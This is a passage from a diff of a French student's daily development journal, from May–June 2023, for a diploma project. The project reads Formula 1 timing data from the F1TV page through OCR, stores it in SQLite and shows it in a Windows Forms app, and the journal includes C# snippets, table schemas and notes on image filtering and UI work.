    +                    windowObject.Add(window.Name, new JsonObject {
    +                        { "x", window.Bounds.X },
    +                        { "y", window.Bounds.Y },
    +                        { "width", window.Bounds.Width },
    +                        { "height", window.Bounds.Height }
    +                    });
    +                }
    +                windowsArray.Add(windowObject);
    +
    +                driverZoneObject.Add("Windows",windowsArray);
    +
    +                driverZonesArray.Add(driverZoneObject);
    +            }
    +
    +            mainZoneObject.Add("DriverZones",driverZonesArray);
    +
    +            JsonArray driversArray = new JsonArray();
    +
    +            foreach (string driver in drivers)
    +            {
    +                driversArray.Add(driver);
    +            }
    +
    +            mainZoneObject.Add("Drivers",driversArray);
    +
    +            jsonFileObject.Add("Main",mainZoneObject);
    +
    +            JSON = jsonFileObject.ToString();
    +
    +            //Saving the file
    +            string path = CONFIGS_FOLDER_NAME + configName;
    +
    +            if (File.Exists(path + ".json"))
    +            {
    +                //We need to create a new name
    +                int count = 2;
    +                while (File.Exists(path + "_" + count + ".json"))
    +                {
    +                    count++;
    +                }
    +                path += "_" + count + ".json";
    +            }
    +            else
    +            {
    +                path += ".json";
    +            }
    +
    +            File.WriteAllText(path, JSON);
    +        }
    +
    +

    Et normalement la lecture devrait être encore plus simple.

    +

    En fait c'était pas beaucoup plus simple mais au moins maintenant ca marche. Je vais pas mettre le code de lecture ici car c'est un peu trop long donc il va falloir me croire sur parole. (Ou aller sur Git)

    +

    Bon bah on est au même endroit qu'hier...

    +

    Bon pour demain le plan de bataille ca va être :

    +

    Changer complêtement la methode "GetTimeFromPng" pour qu'elle prenne en compte toutes les possibilités de bugs et d'oubli de '.' ou de ':' mais pas selon le nombre de blocs mais selon le type de temps que l'on cherche

    +

    Pour le moment je regarde le nombre de blocs et si il y en a deux alors c'est que c'est un temps de secteur. En fait non cela peut aussi être un temps au tour qui a raté un point.

    +

    Il faut que je bosse juste un peu vite fait la dessus et que j'arrête de putain de crasher dès que un truc est pas au bon format. Ensuite quand ca aura arrêté de crasher je vais reprendre l'OCR et voir pourquoi les resultats sont nuls a chier comme ca.

    +

    Et le but c'est que demain soir j'ai une reconnaissance de caractères plus proche de ce que j'avais dans d'autres projets... J'y croit 0 mais bon l'espoir fait vivre comme on dit.

    +

    vendredi 12 Mai 2023

    +

    Bon aujourd'hui il faut que ca marche.

    +

    On va y aller par étape. Je vais revoir toutes les methodes d'OCR et essayer de réapliquer les filtres differemment et revenir au point de départ.

    +

    Avant de commencer je note plusieurs soucis avec les premiers tests :

    +
      +
    • Les positions des pilotes ont l'air pas mal (Pas besoin de tout changer mais peut-être simplement checker que les filtres sont bons)
    • +
    • L'écart avec le leader est étonnamment pas mal aussi
    • +
    • Le temps au tour est tout simplement horrible. Aucun n'est juste et de très loin même si les décimales ne sont pas forcément loin
    • +
    • Le DRS je n'ai pas eu l'occasion de bien le tester mais je dirais que ca devrait être bon (à verifier quand le reste sera bon)
    • +
    • Les pneus ne sont étonnamment pas SI horribles, même si parfois les lettres sont prises comme des chiffres
    • +
    • Les noms de pilotes sont très bon (pas étonnant vu le système de distance de Levenstein donc ca mérite quand même un petit check)
    • +
    • Les secteurs sont en général horribles mais pas toujours. C'est peut-être un soucis de décimale ou des 4 qui se transforment en 1
    • +
    +

    J'ai remarqué que les 4 sont souvent pris comme des 1. Peut-être que en ayant des images 4K l'interpolation est un peu différente de ce que j'ai l'habitude de voir.

    +

    Mais donc le plan aujourd'hui c'est de checker tous ces points et les faire fonctionner (youpi...)

    +

    J'ai désactivé toutes les methodes de cette facon :

    +
    int sectorCount = 0;
    +            DriverData result = new DriverData();
    +            foreach(Window w in Windows)
    +            {
    +                // A switch would be prettier but I dont think its supported in this C# version
    +                if (w is DriverNameWindow)
    +                    //result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList);
    +                    result.Name = "Unknown";
    +                if (w is DriverDrsWindow)
    +                    //result.DRS = (bool)await (w as DriverDrsWindow).DecodePng();
    +                    result.DRS = false;
    +                if (w is DriverGapToLeaderWindow)
    +                    //result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng();
    +                    result.GapToLeader = 0;
    +                if (w is DriverLapTimeWindow)
    +                    //result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng();
    +                    result.LapTime = 0;
    +                if (w is DriverPositionWindow)
    +                    //result.Position = (int)await (w as DriverPositionWindow).DecodePng();
    +                    result.Position = 0;
    +                if (w is DriverSectorWindow)
    +                {
    +                    sectorCount++;
    +                    if (sectorCount == 1)
    +                        //result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng();
    +                        result.Sector1 = 0;
    +                    if (sectorCount == 2)
    +                        //result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng();
    +                        result.Sector2 = 0;
    +                    if (sectorCount == 3)
    +                        //result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng();
    +                        result.Sector3 = 0;
    +                }
    +                if (w is DriverTyresWindow)
    +                    //result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng();
    +                    result.CurrentTyre = new Tyre(Tyre.Type.Undefined,0);
    +            }
    +            return result;
    +
    +

    Le but c'est que ensuite je puisse y aller étape par étape.

    +

    Position :

    +

    Alors pour cette reconnaissance je dirais que la 4K fait des merveilles qui permettent de retirer du processing. La position après un simple Treshold est assez bien reconnue et la dilataion et/ou Erosion ne sont pas nescessaires finalement.

    +

    On va donc pouvoir gagner un certain temps et c'est un bon signe pour la suite.

    +

    On peut aussi noter que quand un pilote est hors course toutes ses valeurs sont grisées et sa position est prise comme un -1

    +

    Sectors, alors j'ai refait toute la partie qui concerne les secteurs et qui les nettoie. Et je me suis rendu compte qu'ils étaient bien souvent juste, le seul truc c'est que ils s'affichent de manière un peu spéciale. En fait dans la page de la F1TV les secteurs peuvent faire plus de 60 secondes sans passer sur un affichage de minutes. Ce qui fait que c'est un peu bizarre à regarder mais c'est parfaitement juste.

    +

    J'ai aussi pu simplifier la reconnaissance grâce à l'image de meilleure qualité et maintenant les temps de secteur sont plutôt corrects.

    +

    En fait le plus long et complexe c'est de prévoir les cas particuliers ou un '.' a été mal interprêté... Et en parlant de ca, je vais aller m'occuper des temps au tour qui ajoutent une couche de complexité avec un '.' ET un ':' qui peuvent être oubliés...

    +

    Oh et j'y pense, un truc malin pourrait être de comparer les temps au tour et les temps de secteur. Ils devraient concorder normalement je pense.

    +

    Ok je viens de finir la gestion des temps au tour... J'ai un code de genre 170 lignes pour juste nettoyer le resultat dans le cas ou des '.' n'ont pas été trouvés ou des ':' ont été n'ont pas été trouvé ou si l'un des deux s'est transformé en chiffre etc.. etc.. etc..

    +

    Le soucis c'est que la maintenant je me rend compte que les écarts entre les pilotes vont juste être un enfer à nettoyer... Ils peuvent aussi bien être "0.760" comme "1:34.456" du coup... je sais pas vraiment comment faire pour tout nettoyer.

    +

    Je pense que je vais juste en avoir rien à faire et tant pis si de temps en temps c'est pas génial.

    +

    Bon du coup j'ai pas pris en compte TOUS les cas possibles mais déja un certain nombre et c'est déja pas mal. Sur les différents Grand Prix d'exemples ca a l'air de plutôt bien tourner !

    +

    Mais ca demande tellement de tests et de code que c'est un peu ridicule...

    +

    La methode "GetTimeFromPng" fait déja presque 430 lignes à cause de tous les cas possibles et tous les try catch. Ca peut paraître peu élégant mais j'ai essayé de mettre des commentaires un peu partout pour permettre à nimporte qui de comprendre ce qui se passe.

    +

    J'ai aussi pu faire les pneus et maintenant (roulement de tambour) Ca marche (presque)

    +

    En fait j'ai des soucis parfois quand les pneus sont un peu cachés dans les permiers tours :

    +
    +Pneus cachés +
    Pneus cachés
    +
    +

    Le soucis c'est que du coup le chiffre est un peu illisible... mais je pense que avec l'historique il devrait y avoir moyen de ne pas prendre en compte les chiffres de pneus pendant cinq tours après le changement de pneu ou de simplement tenter de faire les calculs de pneus.

    +

    Pour conclure la journée je pense que je devrais avoir le temps de faire un système qui permet de refresh à volonté.

    +

    Par contre je viens de découvrir que quand un temps de secteur est en couleur on arrive pas à le lire.

    +

    Ah et la detection prend un peu moins de trois secondes sur mon pc je crois. Mais c'est seulement si les driver zones sont faites en même temps mais en faisant ca de temps en temps ca crash et à chaques fois c'est d'un endroit différent du coup je comprend pas vraiment. Sinon ca prend dix secondes.

    +

    Lundi 15 Mai 2023

    +

    Aujourd'hui c'est journée poster et visites. Comme on va avoir des visites de premières années voire de terminales et que le soir c'est visite des parents.

    +

    Je pense que j'ai finit de tout regrouper (à part évidemment le traitement et le stockage des données) ce qui veut dire que je suis pas dans une superbe posture. Il va falloir que je sois très efficace dans la partie stockage de données et mise en place du modèle si je veux avoir une chance de rendre un joli travail de diplôme. (et même comme ca je peux voir que le temps commence à manquer)

    +

    Dans l'idéal je devrais avoir terminé la partie stockage jeudi... Ce qui veut dire que je n'ai que trois jours pour le faire et que en plus jeudi je dois travailler depuis la maison. Ca va pas être simple.

    +

    Mais aujourd'hui je vais m'occuper d'adapter la documentation de l'OCR et faire la documentation de toute la partie récupèration d'images et de la calibration.

    +

    Bon au final la journée a été un peu difficile. On a pas vraiment pu travailler l'après midi car il a fallu présenter le projet environs 10 fois à toutes les classes et à des parents voire futurs experts.

    +

    Les démos ont plutôt bien fonctionnées j'en suis assez content. Mais ca veut dire que la partie doc a pas forcément pu être totalement complêtée mais demain il va falloir que je m'occupe de la suite du projet.

    +

    Mardi 16 Mai 2023

    +

    Bon aujourd'hui c'est la partie stockage qui doit être faite.

    +

    Il y a plusieurs solutions possibles à ce problème. Mais comme je n'ai besoin que d'une base de donnée locale et que je ne veux pas que chaque utilisateur doive installer un serveur sur sa machine je pense que je vais utiliser une base de données SQLITE.

    +

    Il y a eu une petit intervention de mr Bonvin qui est venu me donner une idée pour la partie OCR.

    +

    En fait j'avais un soucis quand je voulais décoder du texte de couleur. Même en appliquant un filtre de gris je n'arrivais pas à faire reconnaitre les chiffres. Et il m'a dit que une bonne idée cela pourrait de prendre la valeur max de chaque channel et de la faire appliquer à tous ce qui blanchit assez bien l'image.

    +

    J'ai décidé d'exagèrer le blanchiment et cela donne des résultats plutôt... intéressants...

    +
    + +
    "Filtre vanish oxy action sur un secteur violet"
    +
    +

    Le soucis c'est que le violet est une couleur quand même assez sombre alors il va falloir que je fasse un système de treshold un peu spécial qui soit un peu plus sympa et qui prenne plus facilement des couleurs plus basses.

    +

    Une methode à laquelle j'ai pensé pour detecter dans quel tour chaque pilote est serait de garder en mémoire toutes les infos de chaques pilotes au fur et à mesure, et dès qu'on ne recoit plus d'infos des secteurs ou que le temps au tour a changé on peut savoir qu'il faut passer au tour suivant.

    +

    Pour detecter les arrêts aux stands je peux essayer de detecter un changement de type de pneus ou de nombre de tours detectés sur le même pneu

    +

    Au départ je me disais que je pourrais peut-être faire une base de donnée SQLITE locale qui puisse être reprise d'un Grand Prix à un autre. Mais je me suis dit que de faire des statistiques inter Grand Prix était un peu en dehors du scope du projet.

    +

    La base de donnée sera donc créée à chaque démarrage de l'app

    +

    La manière dont je vois les choses en ce moment est qu'on aie deux sources de données dans l'affichage final.

    +

    On aurait une partie des infos qui seraient en direct depuis la detection :

    +
      +
    • Les ecarts entre pilotes
    • +
    • La position des pilotes
    • +
    • Le dernier temps au tour
    • +
    • Les derniers secteurs
    • +
    • Les pneus
    • +
    +

    Mais on aurait aussi des rubriques créées de toutes pièces par des infos qui viennent de la BD +Voici les rubriques qui pourraient être intéressantes à voir dans l'interface finale :

    +
      +
    • Les 3 ou 5 pilotes les plus rapides ces cinq derniers tours
    • +
    • Le pilote qui a le plus fait de dépassements
    • +
    • Les batailles en cours
    • +
    • Les 3 pilotes les plus lents
    • +
    • Un classement pondéré avec les 20s de moins pour tous les pilotes qui ne se sont pas encore arrêtés
    • +
    +

    En gros l'idée serait que on update une fois par tour et par pilote la base de donnée avec des infos comme le temps au tour, le type de pneu etc...

    +

    Voici les trois tables que je vais créer :

    +

    Drivers

    + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    IDINTEGERID du pilotePRIMARY
    NameVARCHARNom du piloteNOT NULL
    +

    Pitstops

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui a effectué le PitstopPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    +

    Stats

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ColonneType de DataDescriptionTag
    LapINTEGERTour durant lequel le Pitstop a été effectuéPRIMARY
    DriverIDINTEGERPilote qui concernéPRIMARY
    TyreVARCHARPneu chaussé par le piloteNOT NULL
    LapTimeINTEGERTemps au tour (MS)NOT NULL
    Sector1INTEGERTemps du secteur 1 (MS)NOT NULL
    Sector2INTEGERTemps du secteur 2 (MS)NOT NULL
    Sector3INTEGERTemps du secteur 3 (MS)NOT NULL
    GapToLeaderINTEGEREcart avec le leader (MS)NOT NULL
    PositionINTEGERPosition piloteNOT NULL
    +

    Ca n'est pas forcément définitif mais je pense que c'est déja un bon début pour faire des rubriques sympa.

    +

    Je suis en train de tenter d'implémenter le code pour permettre ensuite d'ajouter et retirer des choses facilement.

    +

    Mercredi 17 Mai 2023

    +

    Aujourd'hui le but c'est de remplir la base SQLITE avec des infos. Si j'arrive à tout remplir alors ca devrait pas être trop compliqué de venir faire des requètes qui donnent de bonnes infos.

    +

    Mais la problématique principale va être de décider QUAND insèrer des choses dans la base de donnée.

    +

    Je pense que le meilleur moyen serait de garder une liste de DriverData par pilote en piste qui puisse contenir toutes les data que l'on recoit. Et à chaques fois que l'on veut ajouter à cette liste on vérifie si un tour a été fait pour envoyer les data précédente et réinitialiser la liste.

    +

    Il faut donc une liste de 20 listes de DriverData et une liste de int qui représenteront le numéro du tour dans lequel chaque pilote se trouve. +Pour detecter un arrêt je pense que la meilleure manière est de regarder si le pilote a changé de place ou de type de pneu. Si je prend que les fois ou le pilote change place ET de pneus alors certains arrêts pour ceux qui sont loins devant ou loins derrière pourraient ne pas être detectés. Et si je ne prend que le changement de pneus cela pose un soucis car un pneu pourrait avoir été changé pour un autre du même type. Et parfois les valeurs de tours faits avec le pneu ne sont pas toujours bien lues et parfois sont compliquées à retrouver car tous les pneus ne sont pas neuf quand ils sont chaussés.

    +

    Je crois que la detection de tours et des arrêts aux stands est sur la bonne voie. Le seul soucis que j'ai c'est que pour faire du debug je suis un peu obligé d'attendre pendant 10min si je veux avoir de quoi faire des stats un peu sympa.

    +

    Je me rend compte que parfois j'obtiens des résultats un peu bizarres mais que c'est la f1TV qui les donne.

    +

    Par exemple de cas ou Alex Albon n'a que deux tours sur ses pneus alors que tout le monde devant et derrière lui en a 3 et que on est au tour 4.

    +
    + +
    "wtf...?"
    +
    +

    Ah et aussi parfois quand les pilotes se dépassent on se retrouve dans des situations plutôt rigolotes :

    +
    + +
    "Wtf...??"
    +
    +

    COMMENT JE FAIS POUR DETECTER CA WIONDVIDNJDODVNSDIC

    +

    Bon je me rend compte que clairement si je veux que mes data soient plus utiles il faudrait que je fasse un tout petit peu plus de taff sur quelques points dans l'OCR.

    +
      +
    • Le nombre de tours des pneus (Les numéros sont vraiment mal detectés et parfois même la couleur est pas dingue)
    • +
    • Les 4 qui sont pris pour des 1 ou des 11 (pour les temps et les pneus)
    • +
    +

    après un test de plus longue haleine je suis content de voir que au moins mon programme peut tourner plus d'une heure sans crasher et qu'il peut être fiable quand il veut.

    +

    Jeudi 18 Mai 2023

    +

    Aujourd'hui c'est téléTravail forcé et j'étais scensé aller au Grand Prix d'Imola ce qui malheureusement ne pourra pas se faire pour des raisons d'inondations. En effet la région est clairement pas en état de recevoir un Grand Prix de Formule 1 et donc ce weekend c'est maison.

    +

    Le but du jour c'est d'avancer la doc et de tenter d'améliorer l'OCR pour que Lundi il soit relativement facile d'avancer sur l'interface de l'app finale.

    +

    Je suis en train d'explorer une methode de detection de bords de sobel. Le seul soucis c'est que les résultats sont bons mais avec un vide au milieu des chiffres. Cela veut dire que parfois le temps est mal detecté. Mais il semble que pour le reste du temps cela se passe plutôt bien. Ca vaut peut être le coup de modifier la gestion des erreurs.

    +
    + +
    "Artefacts de detection de sobel"
    +
    +

    En fait le soucis avec ces artefacts c'est que parfois le temps au tour n'est tout simplement pas detecté. Dans l'exemple ci dessus, la reconnaissance de caractères ne trouve tout simplement rien. Il faut donc que je trouve un moyen de corriger ces soucis.

    +

    Il semblerait que en appliquant un tresholding un peu plus sévère en amont on arrive à réduire les artefacts

    +
    + +
    "Artefacts allègés"
    +
    +

    ;

    +

    Je crois qu'il faut faire attention avec les 'Bitmap.save' quand on utilise de l'asynchrone. le GDI+ aime pas des masses.

    +

    Lundi 22 Mai 2023

    +

    BON ! Il ne reste plus beaucoup de temps ! Selon le planning cette semaine est la dernière semaine de programmation. Il va donc falloir CHARBONNER !! Il ne me reste plus que une tâche à vraiment faire (à part les tests mais euuuu voila bon).

    +

    J'essaie d'implémenter un peu plus d'error handling mais c'est pas facile... Il y a tellement de choses qui peuvent mal tourner c'est infernal.

    +

    Une chose qui serait bien serait de rajouter des points d'attente variables dans le code de l'emulateur un peu partout pour eviter de se retrouver bloqué à chaque fois. L'intérêt serait que des gens avec une moins bonne connexion pourraient quand même profiter du programme sans qu'il crashe 300 fois.

    +

    Ce qui est frustrant c'est que va savoir pourquoi, maintenant, on arrive quasi jamais a avoir la page data... Genre sans deconner c'est une fois sur 5 que l'emulateur nous ressort la page Data et pas juste le feed. C'est absolument infernal. Je ne comprends pas pourquoi en plus. L'emulateur arrive bien à cliquer sur le bon bouton mais même comme ca ca ne veut pas.

    +

    CA NA AUCUN SENS BORDEL. Sur une image Jjai de supers resultats pour les temps au tour mais dès que l'image change PAF plus aucun temps n'est detecté.

    +

    Ah non c'est bon c'est juste que VA SAVOIR POURQUOI les images sont en putain de resolution DEGEULASSE. Je ne comprends pas pourquoi ce matin particulièrement le projet marche si mal. Par ce que dès que l'image revient à une résolution normale c'est bon.

    +

    Un autre soucis que j'ai est que je n'arrive pas à paralleliser l'OCR ce qui fait que elle peut prendre parfois plus de 15 secondes. Et le problème avec ca c'est que la detection de tours et de pitstop est grandement impactée si on a pas assez de data assez souvent. Je vais me focus sur le reste en attendant mais dès que M.Bonvin apparait dans les parages je vais devoir l'alpaguer.

    +

    J'ai ajouté la possibilité d'essayer plusieurs fois de trouver le bouton fullscreen et de cliquer dessus plutôt que d'attendre dix secondes comme un con et espèrer que ca fonctionne. Mais si après 15 secondes d'essais il n'y arrive pas cela fait quand même pêter une erreur.

    +

    Je pense que je vais m'occuper de la page de configuration maintenant.

    +

    Voici à quoi ressemblait la page de settings ce matin quand je suis arrivé.

    +
    + +
    "Ancienne page de settings"
    +
    +

    Comme je pense que l'UI de cette page ne va pas vraiment changer d'ici la fin du projet je peux me permettre de lui faire une petite beauté car après je ne pense pas y retoucher.

    +

    Pour ca j'ai plusieurs étapes comme choisir une palette de couleur, retirer l'inutile et choisir judicieusement le placement des items sur la form pour que cela soit le plus intuitif possible.

    +

    J'y pense, il fuadrait peut-être que je me trouve un logo ca pourrait rendre bien.

    +

    Voila alors j'ai changé un tout petit peu ce à quoi ressemble la page de settings et j'ai ajouté du responsive pour que le user puisse mettre l'application en plein écran.

    +
    + +
    "Nouvelle page de configuration"
    +
    +

    Mais il manque un peu de couleurs et de détails pour que cela rende vraiment bien.

    +

    Et après quelques tentatives on se retrouve avec une page plutôt sympa je trouve :

    +
    + +
    "Nouvelle page de config"
    +
    +

    Et elle est responsive :

    +
    + +
    "Nouvelle page de config en plein écran"
    +
    +

    Et j'ai fait quelques changements pour ce qui est des zones qui s'affichent pour qu'on les voie mieux.

    +
    + +
    "Nouvelle page de config en action"
    +
    +

    Je trouve que franchement ca rend pas mal. Le reste de l'app sera dans ce style. J'ai mis pas mal de temps à créer cette page, mais je pense que c'est important que la page de config soit propre. Et en plus tout le temps que j'ai passé ici n'est pas perdu car ensuite j'aurai simplement à suivre les mêmes directives de style pour le reste de l'UI.

    +

    Il faut aussi savoir que Windows Form n'est ps forcément le meilleur outil pour travailler avec le design. Truc tout bête par exemple qui m'a fait perdre 30 minutes. Il est impossible de retirer les bordures des objets "GroupBox". Ce que j'ai donc du faire ca a été de dessiner un rectangle autour de la couleur du background pour que l'on ne voit plus les bordures et ensuite j'ai du redessiner le texte pour qu'il puisse s'afficher quand même.

    +

    C'est pleins de petites choses comme ca qui sont plutôt pénibles et qui font perdre du temps mais je pense que c'est rentable de s'y attarder.

    +

    Maintenant ce que je vais faire aujourd'hui et demain c'est l'affichage general de l'app. Je pense que je vais commencer par mettre des placeholder de l'app finale comme ca je saurai quoi implementer comme methodes de récupèration demain.

    +

    J'aimerais quand même faire une interface sympa même si les data sont pas parfaites. Par ce que je me dis que au pire si je montre une interface qui donne des infos inexacte mais qui a la bonne logique c'est toujours mieux que de ne pas montrer ce que ca pourrait faire avec des données un peu plus intègres.

    +

    Autre point à noter, je me suis rendu compte que ca pourrait être potentiellement pas mal de trouver un moyen rapide de lancer l'appli avec un Grand Prix. Genre permettre de selectionner le preset et l'URL du Grand Prix sans avoir à passer par la page de configuration. Je me suis rendu compte que c'était super chiant de devoir à chaque fois le faire (même si je me rends compte que normalement un user ne devrait pas lancer l'app autant)

    +

    Voila ue première version de l'App avec tous les placeholders :

    +
    + +
    "Première version de la page principale"
    +
    +

    Et c'est tout pour aujourd'hui ! Ce fut une journée remplie.

    +

    Mardi 23 Mai 2023

    +

    Aujourd'hui le but c'est de remplir le framework de hier avec les bonnes Data. Je ne sais pas si je peux tout finir en un jour mais on va essayer.

    +

    Bon j'ai eu une discussion animée avec M.Bonvin et il semble que je sois obligé de refaire à peu près tout mon code pour le rendre ne serait-ce qu'un peu optimisé.

    +

    Bon au final j'ai perdu 6H de travail à tenter de convertir mon code dans une version un peu plus optimisée... Mais je me rend compte que c'est juste impossible... Il me faudrait au moins plusieurs jours pour faire correctement ce refactor et donc je vais tout simplement faire un git restore...

    +

    C'est extrêment frustrant mais bon... Pas le choix il semble. J'ai du écrire au moins 600 lignes de code et tout pars en fumée. C'est une débauche d'énergie absolument phénomenale.

    +

    Après ca valait le coup de tenter je pense. (J'ai envie de mourir)

    +

    EN FAIT C'EST BON !! Il fallait juste que je croie en mon code original !!!

    +

    J'ai réussi à paralelliser mon ancien code. Il ne manquait presque rien mais M.Bonvin voulait absolument que je change le reste. Maintenant j'ai une detection qui se fait en quelques secondes c'est genial.

    +

    Mercredi 24 Mai 2023

    +

    Alors hier je n'ai pas bien eu le temps d'expliquer ce que voulait que M.Bonvin. En fait mon programme actuellement utilise un découpage qui peut parâitre complexe. Et de par sa nature, il pensait qu'il était simplement impossible de paralelliser le traitement car trop complexe et trop couteux.

    +

    Il voulait donc que je passe sur un traitement plus simple. L'idée était que on s'occupe dabord de faire une liste de toutes les Windows et de les traiter toutes à la fois pour éviter que les boucles soient trop complexes. Sauf que pour implémenter un truc pareil c'est énormément de code car cela va à l'encontre totale de la facon dont mon projet fonctionne actuellement.

    +

    Mais comme j'étais ouvert à d'autres solutions. J'ai passé six heures à tenter de l'implémenter. Il en aurait fallu au minimum deux jours soyons clair. Et en fait on s'est retrouvés devant pleins de problèmes qui ne se posent pas dans mon architecture originale.

    +

    Par exemple. On a pas trouvé de methode simple pour découper les images des fenêtres de manière thread safe. Il aurait donc fallu ajouter des boucles en préalable pour tout découper et le faire de manière séquencielle.

    +

    Ensuite vient le problème que si on traite toutes les données dans des boucless paralelle on perds leur position originale donc il faut faire une classe pour stocker les résultats temporaires.

    +

    Il y a aussi le soucis que les Windows ont certe une position mais elle est relative au parent et à l'image parente. Donc il faudra faire un système qui convertis les windows en position absolue sur l'image.

    +

    Ca peut paraître être de simples changements mais deja il y en a pas mal d'autres et franchement même si l'idée originale aurait pu simplifier les choses. Les sacrifices que l'on doit faire pour la faire marcher sont juste trop moches et à mon avis ne sont pas du tout aussi logiques que mon découpage original.

    +

    Cette expérience m'a quand même permis de me rendre compte des endroits dans mon code qui sont plus ou moins difficile à maintenir et cela m'a fait me rendre compte que ma solution n'était pas forcément la plus simple pour tout le monde mais que mine de rien elle peut être efficace.

    +

    La je suis en train de rajouter les routes pour la vue. Je me suis dit que ca serait une bonne idée de permettre aux users de cliquer sur un pilote pour avoir ses infos. Mais je me suis dit que ce qui serait encore plus cool serait de pouvoir cliquer sur un des temps au tour d'un pilote et qu'une petite fenêtre s'ouvre pour indiquer les temps par secteurs.

    +

    Mais en faisant ca je me rends compte qu'il y a quelques soucis dans la facon que je conserve les infos dans la DB et je peux voir directement quand la reconnaissance a du mal avec certains pilotes ou des positions. Ca arrive plus souvent que ce que je voudrais que un pilote soit mal detecté. Mais ce qui est drôle c'est que c'est parfois sur une deux voire trois reconnaissance que le pilote n'est plus reconnu mais ensuite tout va bien.

    +

    Il faut que je travaille un peu plus sur le filtrage de ces données limites et peut-être de voir si la reconnaissance de la position pourrait être un peu vérifiée.

    +

    Bon pour être honnête je ne pense pas que le code qui concerne l'affichage soit le meilleur code que j'aie pu produire dans ma vie de développeur mais en même temps je n'ai pas forcément le temps de le rendre magnifique. La le but est simplement que tout marche. (Et c'est un peu la même phylosophie dans tout le reste du projet lol)

    +

    Demain il me reste pas mal de choses à faire et c'est la dernière journée ou je peux les faire.

    +
      +
    • Rendre la form plus jolie et changer les couleurs
    • +
    • Rendre la form Responsive
    • +
    • Ajouter les bons messages d'erreur qui vont bien
    • +
    • Modifier les messageBox d'erreur pour qu'elles soient plus agréables à utiliser
    • +
    • Clean un peu le code modèle vue controller
    • +
    • Si j'ai le temps ajouter les bons commentaires les bonnes entêtes partout
    • +
    +

    Jeudi 25 Mai 2023

    +

    Bon bah le but aujourd'hui c'est de finaliser un peu le projet car la semaine prochaine c'est doc.

    +

    Pas grand chose à dire. J'ai passé la journée à fix des petits bugs par ci par la.

    +

    Voici des exemples de ce à quoi ressemble l'app à la fin de la journée :

    +
    + +
    "Screenshot de la page principale"
    +
    +
    + +
    "Screenshot de la page principale"
    +
    +

    On se rend jamais compte mais c'est tellement long de règler chaque petit soucis un par un. Il y a tellement de possibilités de choses qui peuvent mal tourner ou qui ont un comportement différent selon l'ordre dans lequel on fait les choses.

    +

    Mais dans l'ensemble, même si on est pas sur la meilleure interface que l'on aie vu dans l'histoire. Je trouve que elle fait quand même le taff.

    +

    Vendredi 26 Mai 2023

    +

    Aujourd'hui c'est départ pour Monaco mais comme l'avion etait bien en retard j'ai pu avancer sur le nettoyage du code.

    +

    Grand Prix de Monaco

    +

    [Insert photos]

    +

    Lundi 29 Mai 2023

    +

    Mon vol pour Geneve hier soit a été annulé et je dois donc prendre une deviation car tous les vols pour Geneve sont pleins. Je dois partir a 7h30 pour prende l'avion de 9H pour Nantes et de la bas je dois prendre un avion à 17h pour arriver à 18h30 à l'aéroport de Geneve.

    +

    C'est pas pratique car j'avais prévu d'avancer aujourd'hui et je suis obligé d'avancer comme je peux dans l'aéroport. J'avance encore sur le nettoyage rapide du code. Le but est que demain je puisse sortir la première release en Beta et que je mette vraiment serieusement à la Documentation. M.Jayr m'a également demandé de lui donner le document d'évaluation intermédiaire. Il ne faut pas que j'oublie demain.

    +

    J'ai mis des notes sur mon code au cas ou des gens viennent à le lire. J'y décris les choses que j'aurais fait différemment ou qui pourraient paraître bizarre au tout venant.

    +

    Mardi 30 Mai 2023

    +

    Bon aujourd'hui je dois encore avancer sur la partie nettoyage de code et avant de sortir la première release Beta je vais tenter d'installer le projet sur un autre pc pour voir ce que je n'ai pas mentionné dans mon ReadMe.

    +

    Bon j'ai pu rendre à M.Jayr mon evaluation intermédiaire et j'ai fait les dernières modifications sur le projet pour que je puisse sortir une release correcte. Maintenant je vais me mettre à la documentation. Il va falloir que je revoie ce que j'ai déja écrit en ce qui concerne l'OCR car j'ai fait des modifications depuis et j'ai ajouté la methode de SOBEL.

    +

    Il faut peut-être aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le système en 4K.

    +

    Mercredi 31 Mai 2023

    +

    Doc

    +

    Jeudi 1 Juin 2023

    +

    Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le résultat que j'attends et je regarde si ca me retourne la bonne valeur.

    +

    Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait sûrement fait gagner beaucoup de temps si je l'avais fait dès le début...

    +

    Je pense que une bonne idée serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au début et à la fin.

    +

    Plus je regarde plus je me rend compte que ce pojet aurait carrément du être en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU.

    +

    OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS TÔT ???

    +

    En fait ce que j'aurais du faire c'est prendre de gros échantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai amélioré mon OCR ou non.

    +

    Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR :

    +
    + +
    "Dataset Ecarts"
    +
    +

    ;

    +
    + +
    "Dataset Tours"
    +
    +

    ;

    +
    + +
    "Dataset Noms"
    +
    +

    ;

    +
    + +
    "Dataset Positions"
    +
    +

    ;

    +
    + +
    "Dataset Sectors"
    +
    +

    ;

    +
    + +
    "Dataset Tyres"
    +
    +

    ;

    +

    Je pense que c'est un set assez correct car j'ai essayé de prendre un peu tous les cas possibles.

    +

    Le seul qui m'inquiète un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inquiète le plus en temps normal.

    +

